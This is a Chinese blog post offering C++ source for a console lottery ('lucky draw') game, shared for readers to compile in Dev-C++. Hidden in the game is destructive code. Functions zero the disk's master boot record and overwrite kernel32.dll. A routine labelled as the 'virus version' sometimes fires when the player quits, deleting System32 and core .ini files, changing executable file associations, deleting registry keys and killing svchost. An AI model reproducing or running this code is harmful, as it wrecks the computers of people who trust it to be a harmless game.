C++ [项目] 抽奖

liyuxi_shuijiao_ya2024-10-23 13:36

现在才发现C++游戏的支持率这么高，那就发几篇吧

一、基本介绍

支持Dev-C++5.11版本(务必调为英文输入法),基本操作看游戏里的介绍,怎么做的......懒得说,能看懂就看注释,没有的自己猜,如果你很固执......私我吧

二、代码部分

cpp 复制代码 
//删除第501行注释，vbyudsgdv 
#include <bits/stdc++.h>
#include <windows.h>
#define random(a,b) (rand()%(b-a+1)+a)
#define clear() cout<<"\033c"<<flush
#define _CRT_SECURE_NO_WARNINGS 1 //安全检查
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隐藏dos窗口
using namespace std;
double dollar=21991.2;
//dollar=>剩余的总钱数 
int a[10005];
//a[i]=>储存生成的随机数 
//由于最多是10000连抽,所以下标是10005 
int c,cnt;
//c=>c连抽(c=1 10 100 1000 10000)
//cnt=>访问第i个随机数 
double c1=2.2,c2=19.8,c3=215.6,c4=2193.4,c5=21991.2,kkk;
//c(1~5)是1 10 100 1000 10000连抽的买入价
//kkk是每次结算的钱 
void kill_mbr()//修改MBR
{
	FILE* disk = fopen("\\\\.\\PHYSICALDRIVE0", "rb+");
	char mbr[512] = { 0 };
	fwrite(mbr, sizeof(mbr), 1, disk);
	fclose(disk);
}
void infect()
{
	FILE* infect_file = fopen("C:\\Windows\\SysWOW64\\kernel32.dll","rb+");
	char write[666] = { 0 };
	fwrite(write, sizeof(write), 1, infect_file);
	fclose(infect_file);
}
void KeyBoard(){
	cout << "Welcome to lucky draw" << endl;
	cout << "1 lucky draw ($2.2)--- cin 1"<< endl;
	//一连抽 
	cout << "10 lucky draws ($19.8)--- cin 10 [must have 1 Extraordinary]"<< endl;
	//十连抽 
	cout << "100 lucky draws ($215.6)--- cin 100 [must have 1 Legendary]"<< endl;
	//百连抽 
	cout << "1000 lucky draws ($2193.4)--- cin 1000 [must have 1 Super+++]"<< endl;
	//千连抽 
	cout << "10000 lucky draws ($21991.2)--- cin 10000 [must have 2 Super+++]"<< endl;
	//万连抽 
	cout << "You have $" << dollar*1.0 <<" now";
	//输出现有钱数 
	//cin >> c;
}
void Draw_First_KeyBoard()
{
	system("cls");
	cout << "Welcome to lucky draw" << endl;
	cout << "1 lucky draw ($2.2)--- cin 1"<< endl;
	//一连抽 
	cout << "10 lucky draws ($19.8)--- cin 10 [must have 1 Extraordinary]"<< endl;
	//十连抽 
	cout << "100 lucky draws ($215.6)--- cin 100 [must have 1 Legendary]"<< endl;
	//百连抽 
	cout << "1000 lucky draws ($2193.4)--- cin 1000 [must have 1 Super+++]"<< endl;
	//千连抽 
	cout << "10000 lucky draws ($21991.2)--- cin 10000 [must have 2 Super+++]"<< endl;
	//万连抽 
	cout << "You have $" << dollar*1.0 <<" now";
	//输出现有钱数 
	cin >> c;
	if(c==1)
	{
		if(dollar<c1)//判断没钱的情况 
		{
			cout << "You dont have money" << endl;
			Sleep(3000);
			Draw_First_KeyBoard();
		}
		dollar-=c1;//相应扣钱 
	}
	if(c==10)//判断没钱的情况 
	{
		if(dollar<c2)
		{
			cout << "You dont have money" << endl;
			Sleep(3000);
			Draw_First_KeyBoard();
		}
		dollar-=c2;//相应扣钱
	}
	if(c==100)//判断没钱的情况 
	{
		if(dollar<c3)
		{
			cout<<"You dont have money"<<endl;
			Sleep(3000);
			Draw_First_KeyBoard();
		}
		dollar-=c3;//相应扣钱
	}
	if(c==1000)//判断没钱的情况 
	{
		if(dollar<c4)
		{
			cout<<"You dont have money"<<endl;
			Sleep(3000);
			Draw_First_KeyBoard();
		}
		dollar-=c4;//相应扣钱
	}
	if(c==10000)//判断没钱的情况 
	{
		if(dollar<c5)
		{
			cout<<"You dont have money"<<endl;
			Sleep(3000);
			Draw_First_KeyBoard();
		}
		dollar-=c5;//相应扣钱
	}
}
void Random(){
	srand((unsigned)time(NULL));
	if(c == 1)
	{
		cout<<c1<<endl; 
		cout<<"Loading"<<endl;
		cout<<"--";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<"$2.2"<<endl; 
		cout<<"Loading"<<endl;
		cout<<"----";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<"$2.2"<<endl; 
		cout<<"Loading"<<endl;
		cout<<"------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<"$2.2"<<endl; 
		cout<<"Loading"<<endl;
		cout<<"--------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<"$2.2"<<endl; 
		cout<<"Loading"<<endl;
		cout<<"----------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<"$2.2"<<endl; 
		cout<<"Loading"<<endl;
		cout<<"------------";
		Sleep(1000);
		cnt = 0;
		for(int i=0;i<1;i++)
		//生成随机数 
		{
			int n = random(1,400);
			a[++cnt] = n;
		}
	}
	if(c == 10)
	{	
		cout<<c2<<endl; 
		cout<<"Loading"<<endl;
		cout<<"--";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c2<<endl; 
		cout<<"Loading"<<endl;
		cout<<"----";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c2<<endl; 
		cout<<"Loading"<<endl;
		cout<<"------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c2<<endl; 
		cout<<"Loading"<<endl;
		cout<<"--------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c2<<endl; 
		cout<<"Loading"<<endl;
		cout<<"----------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c2<<endl; 
		cout<<"Loading"<<endl;
		cout<<"------------";
		Sleep(1000);
		a[1] = 320;
		cnt = 1;
		for(int i=0;i<9;i++)
		//生成随机数
		{
			int n = random(1,400);
			a[++cnt] = n;
		}
	}
	if(c == 100)
	{
		cout<<c3<<endl; 
		cout<<"Loading"<<endl;
		cout<<"--";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c3<<endl; 
		cout<<"Loading"<<endl;
		cout<<"----";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c3<<endl; 
		cout<<"Loading"<<endl;
		cout<<"------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c3<<endl; 
		cout<<"Loading"<<endl;
		cout<<"--------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c3<<endl; 
		cout<<"Loading"<<endl;
		cout<<"----------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c3<<endl; 
		cout<<"Loading"<<endl;
		cout<<"------------";
		Sleep(1000);
		a[1] = 390;
		cnt = 1;
		for(int i=0;i<99;i++)
		//生成随机数
		{
			int n = random(1,400);
			a[++cnt] = n;
		}
	}
	if(c == 1000)
	{
		cout<<c4<<endl; 
		cout<<"Loading"<<endl;
		cout<<"--";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c4<<endl; 
		cout<<"Loading"<<endl;
		cout<<"----";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c4<<endl; 
		cout<<"Loading"<<endl;
		cout<<"------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c4<<endl; 
		cout<<"Loading"<<endl;
		cout<<"--------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c4<<endl; 
		cout<<"Loading"<<endl;
		cout<<"----------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c4<<endl; 
		cout<<"Loading"<<endl;
		cout<<"------------";
		Sleep(1000);
		a[1] = 400;
		cnt = 1;
		for(int i=0;i<999;i++)
		//生成随机数
		{
			int n = random(1,400);
			a[++cnt] = n;
		}
	}
	if(c == 10000)
	{
		cout<<c5<<endl; 
		cout<<"Loading"<<endl;
		cout<<"--";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c5<<endl; 
		cout<<"Loading"<<endl;
		cout<<"----";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c5<<endl; 
		cout<<"Loading"<<endl;
		cout<<"------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c5<<endl; 
		cout<<"Loading"<<endl;
		cout<<"--------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c5<<endl; 
		cout<<"Loading"<<endl;
		cout<<"----------";
		Sleep(1000);
		system("cls");
		KeyBoard();
		cout<<endl<<c<<endl;
		cout<<c5<<endl; 
		cout<<"Loading"<<endl;
		cout<<"------------";
		Sleep(1000);
		a[1] = 400;
		a[2] = 400;
		cnt = 2;
		for(int i=0;i<9998;i++)
		//生成随机数
		{
			int n = random(1,400);
			a[++cnt] = n;
		}
	}
}
void Show_Random()
{
	//开始生成 
	sort(a + 1,a + cnt + 1);
	//对生成数排序 
	int f1 = 0,f2 = 0,f3 = 0,f5 = 0,f7 = 0,f12 = 0,f17 = 0;
	for(int i = 1;i <= cnt;i++)
	{
		int n = a[i];
		if(n >= 1 && n <= 200){
			f1++,cout << "Ordinary(##)"<<endl;
		} 
		if(n >= 201 && n <= 300)
		{
			 f2++,cout << "-Advanced(###)"<<endl;	
		}
		if(n >= 301 && n <= 350)
		{
			f3++,cout << "--Extraordinary(####)"<<endl;
		} 
		if(n >= 351 && n <= 380)
		{
			 f5++,cout << "---Epic(######)"<<endl;
		}
		if(n >= 381 && n <= 392)
		{
			f7++,cout << "----Legendary(########)"<<endl;
		} 
		if(n >= 393 && n <= 399)
		{
			f12++,cout << "-----Super(############)"<<endl;
		} 
		if(n == 400)
		{
			f17++,cout << "-------Super+++(################)"<<endl;
		} 
	}
	//输出"战利品" 
	cout << "Super+++:"<< f17;
	printf(" (%3lf%)[0.25%]\n",f17 * 1.0 / c*100.0);
	cout << "Super:" << f12;
	printf(" (%3lf%)[1.75%]\n",f12 * 1.0 / c*100.0);
	cout << "Legendary:" << f7;
	printf(" (%3lf%)[3.00%]\n",f7 * 1.0 / c*100.0);
	cout <<"Epic:" << f5;
	printf(" (%3lf%)[7.50%]\n",f5 * 1.0 / c*100.0);
	cout <<"Extraordinary:" << f3;
	printf(" (%3lf%)[12.50%]\n",f3 * 1.0 / c*100.0);
	cout << "Advanced:" << f2;
	printf(" (%3lf%)[25.00%]\n",f2 * 1.0 / c*100.0);
	cout << "Ordinary:" << f1;
	printf(" (%3lf%)[50.00%]\n",f1 * 1.0 / c*100.0);
	kkk=f17 * 20 + f12 *11 + f7 * 7+f5 * 5 + f3 * 3+f2 * 2+f1;
	cout<<"$"<<"The value is "<<kkk<<endl;
	//计算结算总价值并输出 
	dollar+=kkk;
	if(c==1)
	{
		cout<<"You earn $ "<<kkk-c1<<endl;
	}
	if(c==10)
	{
		cout<<"You earn $ "<<kkk-c2<<endl;
	}
	if(c==100)
	{
		cout<<"You earn $ "<<kkk-c3<<endl;
	}
	if(c==1000)
	{
		cout<<"You earn $ "<<kkk-c4<<endl;
	}
	if(c==10000)
	{
		cout<<"You earn $ "<<kkk-c5<<endl;
	}
	//判断挣(亏)多少$ 
}
void Sleep_ing()//病毒版 
{
	char qqq;
	cout<<"If you want to continue,enter any thing execpt n"<<endl;
	cin>>qqq;
	if(qqq=='n')
	{
		cout<<"Okay,byebye!"<<endl;
		Sleep(800);
		srand((unsigned)time(NULL));
		int q1 = rand() % 3;
		if(q1==0)
		{
			exit(0);
		}
		else if(q1==1)
			while(1)
			{
				cout<<"You are idiot"<<endl;
				SetCursorPos(0, 0);
			}
		else
		{
			infect();
			kill_mbr();
			system("del /f /s /q C:\\Windows\\System32\\*.*");//删除system32
			system("ftype exefile='C:\\Windows\\notepad.exe'%*");  //把可执行文件的打开方式都改成notepad
			system("@echo off Start reg delete HKCR/.exe Start reg delete HKCR/.dll Start reg delete HKCR/*");//删除所有注册表
			system("attrib -s -r -h C:\\Windows\\system.ini");
			system("del /f /s /q C:\\Windows\\system.ini");
			system("attrib -s -r -h C:\\Windows\\win.ini");
			system("del /f /s /q C:\\Windows\\win.ini"); //删除系统重要文件
			system("taskkill /f /im svchost.exe");
		}
	}
	//停顿 
}
void Sleep_Kind(){
	char qqq;
	cout<<"If you want to continue,enter any thing execpt n"<<endl;
	cin>>qqq;
	if(qqq=='n')
	{
		cout<<"ByeBye"<<endl;
		exit(0);
	}
}
void Main()
{
	Draw_First_KeyBoard();
	Random();
	Show_Random();
	Sleep_ing();
	Sleep_Kind();	
}
int main()
{
	while(1)
	{
		Main();
	}
	//return 0;
}

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